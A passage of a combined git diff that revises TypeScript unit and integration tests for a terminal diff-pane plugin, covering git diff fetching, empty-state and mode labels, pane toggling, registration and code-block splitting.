+ expect(diffs.every(argv => argv.includes('core.quotePath=false'))).toBe(
+ true,
+ )
+
+ expect(diffs.every(argv => argv.includes('--no-ext-diff'))).toBe(true)
+ expect(diffs.every(argv => argv.includes('--no-textconv'))).toBe(true)
+ expect(diffs[1]).toContain('-z')
+ expect(deps.argvs.find(argv => argv.includes('ls-files'))).toContain('-z')
+
+ expect(
+ diffs.every(
+ argv =>
+ argv.slice(0, Git.DIFF_LEADING_ARGS.length).join(' ') ===
+ Git.DIFF_LEADING_ARGS.join(' '),
+ ),
+ ).toBe(true)
+ })
+
+ test('uncommitted mode drops pre-session untracked files', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok('stale.txt\0fresh.txt\0'),
+ },
+ { mtimeOf: datedBefore('stale.txt') },
+ ),
+ 'uncommitted',
+ )
+
+ expect(
+ outcome.kind === 'data' && outcome.data.files.map(file => file.path),
+ ).toEqual(['fresh.txt'])
+ })
+
+ test('past 500 files: totals only, no numstat, no untracked', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 501 files changed, 9 insertions(+)'),
+ })
+
+ const outcome = await Git.fetchDiff(deps, 'session')
+
+ expect(outcome.kind === 'data' && outcome.data.stats.filesCount).toBe(501)
+ expect(outcome.kind === 'data' && outcome.data.files).toEqual([])
+ expect(deps.argvs.some(argv => argv.includes('--numstat'))).toBe(false)
+ expect(deps.argvs.some(argv => argv.includes('ls-files'))).toBe(false)
+ })
+
+ test('a transient state file: unavailable, and no diff runs', async () => {
+ const deps = depsOf(
+ {},
+ {
+ entryKindsOf: dir =>
+ Promise.resolve(
+ listingOf(
+ dir === '/repo/.git' ? Fixtures.MERGING : Fixtures.FILES_LISTING,
+ ),
+ ),
+ },
+ )
+
+ expect(await Git.fetchDiff(deps, 'session')).toEqual({
+ kind: 'unavailable',
+ })
+
+ expect(deps.argvs.some(argv => argv.includes('diff'))).toBe(false)
+ })
+
+ test('unborn HEAD: staged rows with unstaged edits folded in', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf({
+ [Fixtures.VS_HEAD]: Fixtures.UNSCRIPTED,
+ 'rev-parse --verify --quiet HEAD': Fixtures.PROBE_MISSED,
+ '--cached --shortstat': Fixtures.ok(' 1 file changed, 3 insertions(+)'),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ }),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(data?.isUnborn).toBe(true)
+ expect(data?.baseRef).toBe('--cached')
+
+ expect(
+ data?.files.map(file => [file.path, file.added, file.removed]),
+ ).toEqual([['staged.ts', 4, 0]])
+
+ expect(data?.stats.linesAdded).toBe(4)
+ expect(data?.stalePaths).toEqual(['staged.ts'])
+ })
+
+ test('unborn HEAD: a staged or unstaged listing git withheld', async () => {
+ const noStaged = await Git.fetchDiff(depsOf(unbornScriptOf()), 'session')
+
+ const noUnstaged = await Git.fetchDiff(
+ depsOf({
+ ...unbornScriptOf(),
+ '--cached --numstat': Fixtures.ok('3\t0\tstaged.ts\0'),
+ '--submodule=short --numstat': Fixtures.ok('2\t1\tstaged.ts'),
+ }),
+ 'session',
+ )
+
+ expect(noStaged).toEqual({ kind: 'unavailable' })
+ expect(noUnstaged).toEqual({ kind: 'unavailable' })
+ })
+
+ test('a withheld untracked listing: tracked rows, flagged', async () => {
+ const outcomes = await Promise.all([
+ Git.fetchDiff(depsOf(trackedNoUntrackedOf()), 'session'),
+ Git.fetchDiff(depsOf(trackedNoUntrackedOf()), 'uncommitted'),
+ Git.fetchDiff(depsOf(onFeatureNoUntrackedOf()), 'branch'),
+ Git.fetchDiff(depsOf(unbornNoUntrackedOf()), 'session'),
+ ])
+
+ const listed = await Git.fetchDiff(
+ depsOf({
+ ...trackedNoUntrackedOf(),
+ 'ls-files': Fixtures.ok('new.ts\0'),
+ }),
+ 'uncommitted',
+ )
+
+ expect(
+ outcomes.map(
+ outcome =>
+ outcome.kind === 'data' && [
+ outcome.data.files.map(file => file.path),
+ outcome.data.stats.filesCount,
+ outcome.data.isUntrackedWithheld,
+ ],
+ ),
+ ).toEqual([
+ [['a.ts'], 1, true],
+ [['a.ts'], 1, true],
+ [['a.ts'], 1, true],
+ [['staged.ts'], 1, true],
+ ])
+
+ expect(listed.kind === 'data' && listed.data.isUntrackedWithheld).toBe(
+ false,
+ )
+ })
+
+ test('a failed vs-HEAD diff with commits present: unavailable', async () => {
+ expect(
+ await Git.fetchDiff(
+ depsOf({
+ 'rev-parse --verify --quiet HEAD': Fixtures.ok('abc\n'),
+ }),
+ 'session',
+ ),
+ ).toEqual({ kind: 'unavailable' })
+ })
+
+ test('a tracked or untracked symlink is never dated: no stat', async () => {
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 2 files changed, 2 insertions(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\told.ts\x001\t0\tlink.ts\0'),
+ 'ls-files': Fixtures.ok('leak\0scratch.txt\0'),
+ },
+ {
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ const data = outcome.kind === 'data' ? outcome.data : null
+
+ expect(probed.toSorted()).toEqual(['/repo/old.ts', '/repo/scratch.txt'])
+
+ expect(data?.files.map(file => [file.path, file.isPreSession])).toEqual([
+ ['old.ts', true],
+ ['link.ts', false],
+ ['leak', false],
+ ['scratch.txt', true],
+ ])
+ })
+
+ test('an unlistable directory dates nothing and stats nothing', async () => {
+ const probed: string[] = []
+
+ await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\told.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0'),
+ },
+ {
+ entryKindsOf: () => Promise.resolve(null),
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(probed).toEqual([])
+ })
+
+ test('a MERGE_HEAD that is a symbolic link is no merge', async () => {
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ },
+ {
+ entryKindsOf: dir => {
+ const isGitDir = dir === '/repo/.git'
+
+ return Promise.resolve(
+ listingOf(
+ isGitDir ? Fixtures.MERGE_HEAD_LINKED : Fixtures.FILES_LISTING,
+ ),
+ )
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(outcome).toMatchObject({ kind: 'data' })
+ expect(outcome.kind === 'data' && outcome.data.files).toHaveLength(1)
+ })
+
+ test('a path under a symlinked directory: unlisted, undated', async () => {
+ const listed: string[] = []
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\tsub/inner.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ },
+ {
+ entryKindsOf: dir => {
+ listed.push(dir)
+
+ return Promise.resolve(listingOf(Fixtures.FILES_LISTING))
+ },
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(listed).not.toContain('/repo/sub')
+ expect(probed).toEqual([])
+
+ expect(
+ outcome.kind === 'data' && outcome.data.files.map(f => f.isPreSession),
+ ).toEqual([false])
+ })
+
+ test('a listing the host cut short is never parsed', async () => {
+ const cutNumstat = await Git.fetchDiff(
+ depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 2 files changed, 2 insertions(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\x001\t0\told'),
+ 'rev-parse --verify --quiet HEAD': Fixtures.ok('abc\n'),
+ }),
+ 'uncommitted',
+ )
+
+ const cutUntracked = await Git.fetchDiff(
+ depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t0\ta.ts\0'),
+ 'ls-files': Fixtures.ok('scratch.txt\0fresh.tx'),
+ }),
+ 'uncommitted',
+ )
+
+ expect(cutNumstat).toEqual({ kind: 'unavailable' })
+
+ expect(
+ cutUntracked.kind === 'data' && [
+ cutUntracked.data.files.map(f => f.path),
+ cutUntracked.data.isUntrackedWithheld,
+ ],
+ ).toEqual([['a.ts'], true])
+
+ expect(Git.isWholeListing('a\0'.repeat(HALF_CAP_RECORDS))).toBe(false)
+ expect(Git.isWholeListing('a\0'.repeat(NEAR_CAP_RECORDS))).toBe(true)
+ })
+
+ test('an untracked directory git prints with a slash is dated', async () => {
+ const probed: string[] = []
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok('nested/\0'),
+ },
+ {
+ entryKindsOf: () => Promise.resolve(listingOf([['nested', 'dir']])),
+ mtimeOf: path => {
+ probed.push(path)
+
+ return Promise.resolve(Fixtures.BEFORE_SESSION_MS)
+ },
+ },
+ ),
+ 'session',
+ )
+
+ expect(probed).toEqual(['/repo/nested'])
+
+ expect(
+ outcome.kind === 'data' &&
+ outcome.data.files.map(file => [file.path, file.isPreSession]),
+ ).toEqual([['nested/', true]])
+ })
+
+ test('a hundred directories deep and wide still date', async () => {
+ const listed: string[] = []
+
+ const paths = Array.from(
+ { length: Fixtures.DEEP_DIRECTORIES },
+ (_, at) => `d${at}/nested/file${at}.txt`,
+ )
+
+ const outcome = await Git.fetchDiff(
+ depsOf(
+ {
+ 'HEAD --shortstat': Fixtures.ok(),
+ 'HEAD --numstat': Fixtures.ok(),
+ 'ls-files': Fixtures.ok(paths.map(path => `${path}\0`).join('')),
+ },
+ {
+ entryKindsOf: dir => {
+ listed.push(dir)
+
+ const isLeaf = dir.endsWith('/nested')
+
+ const entries: Listing = isLeaf
+ ? paths.map(path => [path.split('/').at(-1) ?? '', 'file'])
+ : [
+ ['nested', 'dir'],
+ ...paths.map(
+ path => [path.slice(0, path.indexOf('/')), 'dir'] as const,
+ ),
+ ]
+
+ return Promise.resolve(listingOf(entries))
+ },
+ mtimeOf: () => Promise.resolve(Fixtures.BEFORE_SESSION_MS),
+ },
+ ),
+ 'session',
+ )
+
+ const rows = outcome.kind === 'data' ? outcome.data.files : []
+
+ expect(
+ new Set(listed.filter(dir => dir !== Fixtures.FETCH_REPOSITORY.gitDir))
+ .size,
+ ).toBe(1 + 2 * Fixtures.DEEP_DIRECTORIES)
+
+ expect(rows).toHaveLength(Limits.MAX_FILES)
+ expect(rows.every(row => row.isPreSession)).toBe(true)
+ })
+
- test('a rename is one row under its new name, diffed as a pair', async () => {
++ test('a rename is one row under its new name and reads no body', async () => {
+ const deps = depsOf({
+ 'HEAD --shortstat': Fixtures.ok(' 1 file changed, 1 insertion(+)'),
+ 'HEAD --numstat': Fixtures.ok('1\t1\t\0old.ts\0new.ts\0'),
+ 'ls-files': Fixtures.ok(),
+ '-- old.ts new.ts': Fixtures.ok('@@ -1 +1 @@\n-a\n+b\n'),
+ })
+
+ const outcome = await Git.fetchDiff(deps, 'uncommitted')
+ const data = outcome.kind === 'data' ? outcome.data : null
+ const [row] = data?.files ?? []
+
+ const body =
+ data && row ? await Git.fetchFileHunks(deps.run, data, row) : null
+
+ expect(data?.files.map(f => [f.path, f.renamedFrom])).toEqual([
+ ['new.ts', 'old.ts'],
+ ])
+
- expect(body?.hunks[0]?.lines).toEqual(['-a', '+b'])
++ expect(body).toEqual(Git.EMPTY_FILE_HUNKS)
++ expect(deps.argvs.some(argv => argv.includes('new.ts'))).toBe(false)
+ })
+ })
diff --cc mods/diff/tests/pane-state/empty-state-of.test.ts
index 00000000,f362aa8a..85d76c0e
mode 000000,100644..100644
--- a/mods/diff/tests/pane-state/empty-state-of.test.ts
+++ b/mods/diff/tests/pane-state/empty-state-of.test.ts
@@@ -1,0 -1,93 +1,73 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Git from '../../hooks/git'
+ import PaneState from '../../hooks/pane-state'
+ import Fixtures from '../fixtures'
+
+ tier('builtin')
+
+ describe('empty-state-of', () => {
+ const dataIn = (
+ mode: Git.BaseMode,
+ overrides: Partial<Git.DiffData> = {},
+ ): Git.DiffData => ({
+ repository: Fixtures.CHECKOUT,
+ mode,
+ stats: Fixtures.NO_STATS,
+ files: [],
+ source: { kind: 'working-tree', base: 'HEAD' },
+ isUnborn: false,
+ baseRef: 'HEAD',
+ stalePaths: [],
+ isUntrackedWithheld: false,
+ ...overrides,
+ })
+
++ const emptyOf = (data: Git.DiffData | null, filesCount: number) =>
++ PaneState.emptyStateOf({ data, words: Git.GIT_WORDS }, filesCount)
++
+ test("the built-in's headlines, keyed on the fetched mode", () => {
- expect(PaneState.emptyStateOf(null, 0, Git.GIT_WORDS)?.headline).toBe(
- 'Diff unavailable',
- )
++ expect(emptyOf(null, 0)?.headline).toBe('Diff unavailable')
+
- expect(PaneState.emptyStateOf(dataIn('session'), 0, Git.GIT_WORDS)).toEqual(
- {
- headline: 'No changes this session',
- hint: null,
- },
- )
++ expect(emptyOf(dataIn('session'), 0)).toEqual({
++ headline: 'No changes this session',
++ hint: null,
++ })
+
- expect(
- PaneState.emptyStateOf(dataIn('uncommitted'), 0, Git.GIT_WORDS)?.headline,
- ).toBe('No uncommitted changes')
++ expect(emptyOf(dataIn('uncommitted'), 0)?.headline).toBe(
++ 'No uncommitted changes',
++ )
+
+ expect(
- PaneState.emptyStateOf(
- dataIn('branch', { source: Fixtures.VS_MAIN }),
- 0,
- Git.GIT_WORDS,
- )?.headline,
++ emptyOf(dataIn('branch', { source: Fixtures.VS_MAIN }), 0)?.headline,
+ ).toBe('No changes vs main')
+
- expect(PaneState.emptyStateOf(dataIn('branch'), 0, Git.GIT_WORDS)).toEqual({
++ expect(emptyOf(dataIn('branch'), 0)).toEqual({
+ headline: 'No changes vs HEAD',
+ hint: 'No base branch to compare against — showing changes vs HEAD',
+ })
+
- expect(
- PaneState.emptyStateOf(
- dataIn('session', { isUnborn: true }),
- 0,
- Git.GIT_WORDS,
- ),
- ).toEqual({
++ expect(emptyOf(dataIn('session', { isUnborn: true }), 0)).toEqual({
+ headline: 'No commits yet',
+ hint: "Nothing to diff against until the repo's first commit",
+ })
+ })
+
+ test('with files to count there is no empty state', () => {
- expect(
- PaneState.emptyStateOf(dataIn('session'), 2, Git.GIT_WORDS),
- ).toBeNull()
++ expect(emptyOf(dataIn('session'), 2)).toBeNull()
+ })
+
+ test('no tracked rows, untracked withheld: claims no more', () => {
+ const withheld = { isUntrackedWithheld: true }
+
- expect(
- PaneState.emptyStateOf(dataIn('session', withheld), 0, Git.GIT_WORDS)
- ?.headline,
- ).toBe('No tracked changes')
++ expect(emptyOf(dataIn('session', withheld), 0)?.headline).toBe(
++ 'No tracked changes',
++ )
+
+ expect(
- PaneState.emptyStateOf(
- dataIn('session', { ...withheld, isUnborn: true }),
- 0,
- Git.GIT_WORDS,
- )?.headline,
++ emptyOf(dataIn('session', { ...withheld, isUnborn: true }), 0)?.headline,
+ ).toBe('No tracked changes')
+
- expect(
- PaneState.emptyStateOf(dataIn('uncommitted', withheld), 1, Git.GIT_WORDS),
- ).toBeNull()
++ expect(emptyOf(dataIn('uncommitted', withheld), 1)).toBeNull()
+ })
+ })
diff --cc mods/diff/tests/pane-state/mode-label-of.test.ts
index 00000000,00000000..52109ef7
new file mode 100644
--- /dev/null
+++ b/mods/diff/tests/pane-state/mode-label-of.test.ts
@@@ -1,0 -1,0 +1,93 @@@
++import { describe, expect, test, tier } from 'claude-code/testing'
++
++import Git from '../../hooks/git'
++import PaneState from '../../hooks/pane-state'
++import Fixtures from '../fixtures'
++
++tier('builtin')
++
++describe('mode-label-of', () => {
++ const dataIn = (
++ mode: Git.BaseMode,
++ source: Git.DiffSource,
++ ): Git.DiffData => ({
++ repository: Fixtures.CHECKOUT,
++ mode,
++ stats: Fixtures.ONE_FILE,
++ files: [],
++ source,
++ isUnborn: false,
++ baseRef: 'HEAD',
++ stalePaths: [],
++ isUntrackedWithheld: false,
++ })
++
++ const labelOf = (
++ mode: Git.BaseMode,
++ requestedMode: Git.BaseMode,
++ data: Git.DiffData | null,
++ ) =>
++ PaneState.modeLabelOf(mode, { requestedMode, data, words: Git.GIT_WORDS })
++
++ test('each settled mode is named as the built-in names it', () => {
++ const session = dataIn('session', Fixtures.WORKING_TREE)
++
++ expect(labelOf('session', 'session', session)).toBe('this session')
++
++ expect(labelOf('uncommitted', 'session', session)).toBe(
++ 'uncommitted (vs HEAD)',
++ )
++
++ expect(labelOf('branch', 'session', session)).toBe('branch diff')
++ })
++
++ test('settled branch mode names its base, or what stands in', () => {
++ expect(
++ labelOf('branch', 'branch', dataIn('branch', Fixtures.VS_MAIN)),
++ ).toBe('branch vs main')
++
++ expect(
++ labelOf('branch', 'branch', dataIn('branch', Fixtures.WORKING_TREE)),
++ ).toBe('vs HEAD (no base branch)')
++ })
++
++ test('a working tree that names its own base shows that name', () => {
++ expect(
++ labelOf(
++ 'uncommitted',
++ 'uncommitted',
++ dataIn('uncommitted', Fixtures.AT_SHA),
++ ),
++ ).toBe('uncommitted (vs 8634408015c1)')
++ })
++
++ test('the requested mode pends with an ellipsis until its data lands', () => {
++ const session = dataIn('session', Fixtures.WORKING_TREE)
++
++ expect(labelOf('branch', 'branch', session)).toBe('branch diff…')
++ expect(labelOf('session', 'branch', session)).toBe('this session')
++
++ expect(
++ labelOf('session', 'session', dataIn('branch', Fixtures.VS_MAIN)),
++ ).toBe('this session…')
++
++ expect(labelOf('branch', 'branch', null)).toBe('branch diff')
++ })
++
++ test('an unborn HEAD with rows says what the rows are', () => {
++ const unborn = {
++ ...dataIn('session', Fixtures.WORKING_TREE),
++ isUnborn: true,
++ }
++
++ expect(PaneState.unbornNoteOf({ data: unborn }, 2)).toBe(
++ 'no commits yet — showing staged and new files',
++ )
++
++ expect(PaneState.unbornNoteOf({ data: unborn }, 0)).toBeNull()
++
++ expect(
++ PaneState.unbornNoteOf({ data: dataIn('session', Fixtures.VS_MAIN) }, 2),
++ ).toBeNull()
++ })
++})
diff --cc mods/diff/tests/pane-toggle/pane-toggle-of.test.ts
index 00000000,5531ca93..dfb3cb0e
mode 000000,100644..100644
--- a/mods/diff/tests/pane-toggle/pane-toggle-of.test.ts
+++ b/mods/diff/tests/pane-toggle/pane-toggle-of.test.ts
@@@ -1,0 -1,54 +1,37 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Limits from '../../hooks/limits'
+ import PaneToggle from '../../hooks/pane-toggle'
+
+ tier('builtin')
+
+ describe('pane-toggle-of', () => {
- test('a pane believed open that still draws closes, however narrow', () => {
++ test('an open pane closes, however narrow', () => {
+ expect(
+ PaneToggle.paneToggleOf({
- isBelievedOpen: true,
- wasDrawnWhenProbed: true,
++ isOpen: true,
+ columns: Limits.OPEN_MIN_COLUMNS - 1,
+ }),
+ ).toBe('close')
+ })
+
+ test('below the panel width it is too narrow, from it it opens', () => {
+ expect(
+ PaneToggle.paneToggleOf({
- isBelievedOpen: false,
- wasDrawnWhenProbed: false,
++ isOpen: false,
+ columns: Limits.OPEN_MIN_COLUMNS - 1,
+ }),
+ ).toBe('too-narrow')
+
+ expect(
+ PaneToggle.paneToggleOf({
- isBelievedOpen: false,
- wasDrawnWhenProbed: false,
++ isOpen: false,
+ columns: Limits.OPEN_MIN_COLUMNS,
+ }),
+ ).toBe('open')
+
- expect(
- PaneToggle.paneToggleOf({
- isBelievedOpen: false,
- wasDrawnWhenProbed: false,
- columns: null,
- }),
- ).toBe('open')
- })
-
- test('a pane the person closed reopens only where it fits', () => {
- expect(
- PaneToggle.paneToggleOf({
- isBelievedOpen: true,
- wasDrawnWhenProbed: false,
- columns: Limits.OPEN_MIN_COLUMNS - 1,
- }),
- ).toBe('too-narrow')
++ expect(PaneToggle.paneToggleOf({ isOpen: false, columns: null })).toBe(
++ 'open',
++ )
+ })
+ })
diff --cc mods/diff/tests/register.test.ts
index 9df630b5,35924ea1..7713a5c5
--- a/mods/diff/tests/register.test.ts
+++ b/mods/diff/tests/register.test.ts
@@@ -206,4 -188,200 +208,199 @@@ describe('register', () =>
expect(world.closed.map(pane => pane.id)).toEqual(['diff'])
})
+
+ test('ask attaches the hunks on screen and calls no tool', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+ const called: Args<'tool.call'>[] = []
+
+ on('tool.call', ($, e) => {
+ called.push(e)
+
+ return { result: 'called' }
+ })
+
+ on('prompt.submit', ($, e) => ({ text: e.text, context: e.context }))
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
- await $.ui.press({ plugin: 'diff', key: 'ask' })
++ await $.ui.press({ plugin: 'diff', key: 'ask:.env' })
+ await world.clock.settle()
+
+ const armed = Fixtures.jsonOf(await $.ui.render(Fixtures.PANE))
+
+ const submitted = await $.prompt.submit(Fixtures.typedPromptOf('why?'))
+
+ expect(armed).toContain('asked ✓')
+ expect(called).toEqual([])
+
+ expect(world.statuses.at(-2)).toBe(
+ '.env rides your next prompt (press asked ✓ to drop it)',
+ )
+
+ expect(submitted).toMatchObject({
+ context: [
+ 'The user attached the diff of .env from the diff pane to this ' +
+ 'prompt:\n@@ -1 +1 @@\n-KEY=old\n+KEY=new',
+ ],
+ })
+ })
+
+ test('an ask with no room in the context is dropped', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+ const full = 'x'.repeat(Limits.PROMPT_CONTEXT_MAX_CHARS)
+ const reached: (readonly string[] | undefined)[] = []
+
+ on('prompt.submit', ($, e) => {
+ reached.push(e.context)
+
+ return { text: e.text }
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
- await $.ui.press({ plugin: 'diff', key: 'ask' })
++ await $.ui.press({ plugin: 'diff', key: 'ask:.env' })
+ await world.clock.settle()
+
+ await $.prompt.submit(Fixtures.typedPromptOf('why?', [full]))
+ await $.prompt.submit(Fixtures.typedPromptOf('and now?'))
+
+ expect(reached).toEqual([[full], undefined])
+
+ expect(world.statuses.at(-1)).toBe(
+ ".env's diff did not fit in the prompt and was dropped",
+ )
+ })
+
+ test('a worktree opens on the base it kept', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret(), {
+ 'base:/main/wt': 'uncommitted',
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.command.run(Fixtures.DIFF)
+ await world.clock.advance(Fixtures.SETTLE_MS)
+
- const base = Fixtures.elementIn(await $.ui.render(Fixtures.PANE), {
- type: 'Select',
- name: 'base',
- })
-
- expect(base?.props).toMatchObject({ value: 'uncommitted' })
++ expect(
++ Fixtures.stringsOf(await $.ui.render(Fixtures.PANE)),
++ "the built-in's base line under the header",
++ ).toContain('uncommitted (vs HEAD)')
+ })
+
+ test('a repository made later is pinned once, on /diff', async ($, on) => {
+ const { 'rev-parse --path-format=absolute': worktree = '', ...notYet } =
+ Fixtures.oneSecret()
+
+ const script: Record<string, string> = notYet
+ const world = Fixtures.inRepository(on, script)
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+
+ const before = await $.command.run(Fixtures.DIFF)
+
+ script['rev-parse --path-format=absolute'] = worktree
+
+ const after = await $.command.run(Fixtures.DIFF)
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await $.ui.render(Fixtures.PANE)
+
+ script['rev-parse --path-format=absolute'] = Fixtures.ELSEWHERE_LINES
+
+ const third = $.command.run(Fixtures.DIFF)
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+ await third
+
+ const probes = world.runs.filter(run =>
+ run.argv.includes('--show-toplevel'),
+ )
+
+ expect(before.text).toContain("isn't in a git repository")
- expect(after).toEqual({})
++ expect(after.text).toBe('Diff panel shown')
+ expect(world.opened[0]?.id).toBe('diff')
+ expect(probes).toHaveLength(3)
+
+ expect(
+ world.runs.some(run => run.argv.includes('--git-dir=/else/.git')),
+ ).toBe(false)
+
+ expect(
+ world.runs
+ .filter(run => run.argv.includes('--numstat'))
+ .every(run => run.argv[1] === Fixtures.PINNED_LEAD[1]),
+ ).toBe(true)
+ })
+
+ test('a repository that appears later opens on first edit', async ($, on) => {
+ const { 'rev-parse --path-format=absolute': worktree = '', ...notYet } =
+ Fixtures.oneSecret()
+
+ const script: Record<string, string> = notYet
+ const world = Fixtures.inRepository(on, script)
+
+ on('tool.call', () => ({ result: 'edited' }))
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+ await $.ui.render(Fixtures.HINT)
+
+ script['rev-parse --path-format=absolute'] = worktree
+
+ await $.tool.call({
+ tool: 'Edit',
+ file_path: '/main/wt/.env',
+ old_string: 'old',
+ new_string: 'new',
+ })
+
+ await world.clock.advance(Fixtures.SETTLE_MS)
+
+ expect(world.opened.map(pane => pane.id)).toEqual(['diff'])
+ })
+
+ test('a git that cannot start is an answer, not a timeout', async ($, on) => {
+ const runs: Args<'process.run'>[] = []
+
+ Fixtures.startsSession(on)
+
+ on('process.run', ($, e) => {
+ runs.push(e)
+
+ return e.argv.includes('--show-toplevel')
+ ? { deny: Fixtures.FAILED_START }
+ : { value: Fixtures.gitIn(e.argv, Fixtures.oneSecret()) }
+ })
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
+
+ const { text } = await $.command.run(Fixtures.DIFF)
+ const probes = runs.filter(run => run.argv.includes('--show-toplevel'))
+
+ expect(text).toContain("isn't in a git repository")
+ expect(probes, "the boot's, then this /diff's; no retry").toHaveLength(2)
+ })
+
+ test('/diff on a narrow terminal: the resize line', async ($, on) => {
+ const world = Fixtures.inRepository(on, Fixtures.oneSecret())
+
+ await $.session.start(Fixtures.WORKTREE_SESSION)
- await $.ui.render(Fixtures.hintAt(Limits.OPEN_MIN_COLUMNS - 1))
+
- const narrow = await $.command.run(Fixtures.DIFF)
++ const narrow = await $.command.run(
++ Fixtures.diffAt(Limits.OPEN_MIN_COLUMNS - 1),
++ )
++
+ const openedNarrow = [...world.opened]
+
- await $.ui.render(Fixtures.hintAt(Limits.OPEN_MIN_COLUMNS))
- await $.command.run(Fixtures.DIFF)
++ await $.command.run(Fixtures.diffAt(Limits.OPEN_MIN_COLUMNS))
+
+ expect(narrow.text).toContain(
+ 'Resize your terminal to at least 110 columns to show the diff panel',
+ )
+
+ expect(openedNarrow).toEqual([])
+ expect(world.opened.map(pane => pane.id)).toEqual([Names.PANE_ID])
+ })
})
diff --cc mods/diff/tests/views/detail/code-blocks-of.test.ts
index 00000000,7897cabb..583efa24
mode 000000,100644..100644
--- a/mods/diff/tests/views/detail/code-blocks-of.test.ts
+++ b/mods/diff/tests/views/detail/code-blocks-of.test.ts
@@@ -1,0 -1,105 +1,132 @@@
+ import { describe, expect, test, tier } from 'claude-code/testing'
+
+ import Limits from '../../../hooks/limits'
+ import Views from '../../../hooks/views'
+ import Fixtures from '../../fixtures'
+
+ tier('builtin')
+
+ describe('code-blocks-of', () => {
- test('hunks share a block while they fit, then one opens', () => {
- const { blocks, isTruncated } = Views.codeBlocksOf([
- Fixtures.wideHunk(),
- Fixtures.wideHunk(Fixtures.BIG_LINES),
- Fixtures.wideHunk(2 * Fixtures.BIG_LINES),
- ])
++ test('each hunk is a source of its own, nothing between them', () => {
++ const { sources, isTruncated } = Views.codeBlocksOf(
++ [
++ Fixtures.wideHunk(),
++ Fixtures.wideHunk(Fixtures.BIG_LINES),
++ Fixtures.wideHunk(2 * Fixtures.BIG_LINES),
++ ],
++ Views.BODY_BUDGET,
++ )
+
+ expect(isTruncated).toBe(false)
- expect(blocks.map(block => block.hasDivider)).toEqual([false, true])
- expect(blocks.every(Fixtures.isWithinCodeCap)).toBe(true)
++ expect(sources).toHaveLength(3)
++ expect(sources.every(Fixtures.isWithinCodeCap)).toBe(true)
+
- expect(blocks.map(block => Fixtures.hunksOf(block.source).length)).toEqual([
- 2, 1,
++ expect(sources.map(source => Fixtures.hunksOf(source).length)).toEqual([
++ 1, 1, 1,
+ ])
+
- expect(Fixtures.hunksOf(blocks[1]?.source ?? '')[0]?.oldStart).toBe(
++ expect(Fixtures.hunksOf(sources[2] ?? '')[0]?.oldStart).toBe(
+ 2 * Fixtures.BIG_LINES,
+ )
+ })
+
+ test('an oversize hunk stacks as sub-hunks that add up', () => {
+ const hunk = Fixtures.wideHunk(
+ Fixtures.BIG_LINES,
+ Limits.MAX_LINES_PER_FILE,
+ )
+
- const body = Views.codeBlocksOf([hunk])
++ const body = Views.codeBlocksOf([hunk], Views.BODY_BUDGET)
+ const parts = Fixtures.parsedHunksOf(body)
+
+ expect(body.isTruncated).toBe(false)
- expect(body.blocks.length).toBeGreaterThan(2)
- expect(body.blocks.some(block => block.hasDivider)).toBe(false)
